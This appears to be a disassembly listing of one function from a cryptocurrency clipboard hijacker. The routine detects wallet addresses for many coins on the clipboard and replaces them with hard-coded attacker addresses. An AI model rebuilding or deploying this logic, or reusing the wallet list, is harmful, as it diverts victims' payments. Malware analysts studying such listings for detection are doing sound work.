Function at 0x403480
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x58
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x30
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x74
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x68
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x51
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x52
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4e
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x41
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x53
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x7a
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x73
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x71
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x63
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x34
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x61
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x46
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x47
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x62
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x55
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x45
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
je 0x403611
xor al, al
jmp 0x403b45
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x34
jne 0x403634
cmp dword [ebp - 4], 0x5f
jb 0x403628
cmp dword [ebp - 4], 0x6a
jbe 0x40362f
xor al, al
jmp 0x403b45
jmp 0x403744
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x72
jne 0x403657
cmp dword [ebp - 4], 0x19
jb 0x40364b
cmp dword [ebp - 4], 0x23
jbe 0x403652
xor al, al
jmp 0x403b45
jmp 0x403744
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x7a
jne 0x403686
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x73
jne 0x403681
cmp dword [ebp - 4], 0x4b
jb 0x40367a
cmp dword [ebp - 4], 0x4e
jbe 0x403681
xor al, al
jmp 0x403b45
jmp 0x403744
push 0x410788
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4036b1
cmp dword [ebp - 4], 0x32
jb 0x4036a5
cmp dword [ebp - 4], 0x38
jbe 0x4036ac
xor al, al
jmp 0x403b45
jmp 0x403744
push 0x4107a4
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4036d9
cmp dword [ebp - 4], 0x2a
jb 0x4036d0
cmp dword [ebp - 4], 0x30
jbe 0x4036d7
xor al, al
jmp 0x403b45
jmp 0x403744
push 0x4107b4
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403701
cmp dword [ebp - 4], 0x62
jb 0x4036f8
cmp dword [ebp - 4], 0x69
jbe 0x4036ff
xor al, al
jmp 0x403b45
jmp 0x403744
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
je 0x403722
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x45
je 0x403722
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x42
jne 0x403731
cmp dword [ebp - 4], 9
je 0x40372f
xor al, al
jmp 0x403b45
jmp 0x403744
cmp dword [ebp - 4], 0x15
jb 0x40373d
cmp dword [ebp - 4], 0x38
jbe 0x403744
xor al, al
jmp 0x403b45
push str.bitcoincash:
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x4037ee
mov dword [ebp - 0x18], 0
jmp 0x40376d
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 4]
jae 0x4037ee
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x31
jne 0x4037b4
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x4f
je 0x4037ad
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x49
je 0x4037ad
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x6c
jne 0x4037b4
xor al, al
jmp 0x403b45
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
push ecx
call sub.ntdll.dll_isalpha
add esp, 4
test eax, eax
jne 0x4037e9
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
push ecx
call sub.ntdll.dll_isdigit
add esp, 4
test eax, eax
jne 0x4037e9
xor al, al
jmp 0x403b45
jmp 0x403764
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x31
jne 0x40381e
cmp dword [ebp - 4], 0x15
jne 0x403808
mov dword [ebp - 8], str.14673222387840093601L
jmp 0x40381e
cmp dword [ebp - 4], 0x30
jne 0x403817
mov dword [ebp - 8], str.12gcwY6q4pv4DBbEjeQXwbhDBesLDc755VE2kyzzXRtvBvzd
jmp 0x40381e
mov dword [ebp - 8], str.18xjALsLW57DQcXSgvGE8H9iXkXYvPjSWc
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x33
jne 0x403845
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x50
jne 0x40383e
mov dword [ebp - 8], str.3PLk48rqFRT7ZB2GZVHMJE5aiHr5jjBfZcw
jmp 0x403845
mov dword [ebp - 8], str.39t2ndtRZKxHPHaprbe6kPaws4vs1nWA94
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x71
jne 0x403857
mov dword [ebp - 8], str.qz9vrpv9h2j5e6fsqwwsh8e9aaumwvql956ynh9rs9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x58
jne 0x403869
mov dword [ebp - 8], str.XmgkLqGXu8HGU7tTbbwWvaJYrgvybx3eZE
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x44
jne 0x40387b
mov dword [ebp - 8], str.DSVC6eMqTCpkaMkCVp6Yn2U7FYkU76VhKB
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x30
jne 0x40388d
mov dword [ebp - 8], str.0xd4F8DfD1cDBa76e9ac6b3b31Ef3C6C6c3D1ea1d0
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4c
jne 0x40389f
mov dword [ebp - 8], str.LXz2Jhi73bna54msz2zpsEpRVAh8KbeYRL
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x72
jne 0x4038b1
mov dword [ebp - 8], str.rPTusqR9SMoh7QuYfJ3EJF7Ewogp6HVJEt
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x54
jne 0x4038c3
mov dword [ebp - 8], str.TCW3T7UyyN3MWqakTPViWVRAL1kGsYyTL6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x74
jne 0x4038f6
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x31
je 0x4038e6
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x32
jne 0x4038ef
mov dword [ebp - 8], str.t1gE3Hz4ivvEAQMWagv5XuUMkUPcnNkuNGB
jmp 0x4038f6
mov dword [ebp - 8], str.tz1U9d1x7U3AEMw8UPSVMtEH4u9eShBX6prG
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x68
jne 0x403908
mov dword [ebp - 8], str.hxd697fe63e8c4d138cd47d9cdbff6bbf6facbd1fb
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x51
jne 0x40391a
mov dword [ebp - 8], str.QQeW6TaSKUA9yuG2mPKMd6epoXa6vnRqh6
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x52
jne 0x40392c
mov dword [ebp - 8], str.RRqRTmr9WDk2LdTn7mfMHXofz1XaoTrG3C
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4e
jne 0x40393e
mov dword [ebp - 8], str.NBGLRULGKDFPLIDQZRDQOORKONAV5VRWOV3CDGJW
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x41
jne 0x403950
mov dword [ebp - 8], str.AUpwoQdnjVynLKhDkNt1TJh6sgduJnxyJy
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x53
jne 0x403962
mov dword [ebp - 8], str.SNjNq8EbkPcfEqQtE6FTM5eftqS33otZY4
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x7a
jne 0x403989
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x73
jne 0x403982
mov dword [ebp - 8], str.zs1gdxkmsegruyeu72ehpfwgshmcup4sqxm7kafju9r7xjcfww8vlg7ar9rqraxmjhr9rdn2hj9v7w
jmp 0x403989
mov dword [ebp - 8], str.zil1afs50sm4fe7ulsdygvvl7x6tygtcwmkrqtzqlq
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x73
jne 0x40399b
mov dword [ebp - 8], str.s1iibbBPLCP843XGjxRxoT9Skk542HMLU5v
push str.bitcoincash
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4039b5
mov dword [ebp - 8], str.bitcoincash:qz9vrpv9h2j5e6fsqwwsh8e9aaumwvql956ynh9rs9
push str.cosmos
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4039cf
mov dword [ebp - 8], str.cosmos1j2j4n8mn2al28g62uzsrf9jhhqjsdpr58et5j4
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x34
jne 0x4039e1
mov dword [ebp - 8], str.46wi3NQz8eWV9HnGGKtpqKFcyGqWvLXsRP9C4oh3FgJ8M11QzmSrWWu6hW2kdredmQDYFjkJNg8t4Lye6vPuRcCsK71DPYr
push str.addr
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4039fb
mov dword [ebp - 8], str.addr1qx6957p39d7v53mvqe7gqc62eazsmmxhlth870590x9v8mq0pjv9yx5jd4sgndnt87zmdutq87r8xh0m8pn65k2p9yasl4vamq
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x46
jne 0x403a0d
mov dword [ebp - 8], str.Fd8ScFbi4ZnkrDYZa2Fhanx3BuoWXFzDaG
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
jne 0x403a2e
cmp dword [ebp - 4], 0x38
jne 0x403a27
mov dword [ebp - 8], str.GAWB6FUMRQBOF4JSVWAH6GO26C24UL5P44G3LDWK46WMFAS2TAZD7EBC
jmp 0x403a2e
mov dword [ebp - 8], str.GLnwYTx21SBA1XAsBqtFumkDMpB97tmqsp
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x62
jne 0x403a87
push 0x410d64
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a53
mov dword [ebp - 8], str.bnb1yzw7m55vrhqmmw2e0xpven8q49u8m63prv3hhz
push str.band
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a6d
mov dword [ebp - 8], str.band1ecl9c2w2dtxx70pewvsl6le3sd8srrlg36vthx
push 0x410dd0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a87
mov dword [ebp - 8], str.bc1q4eym03072yk0zahdm9jym28vk0dxwyvs57sr6g
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
jne 0x403a99
mov dword [ebp - 8], str.U30212907
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x45
jne 0x403aab
mov dword [ebp - 8], str.E30940134
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x42
jne 0x403abd
mov dword [ebp - 8], str.B30912949
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x403b43
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x403b43
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403b43
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x403b43
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, dword [ebp - 0x14]
push ecx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret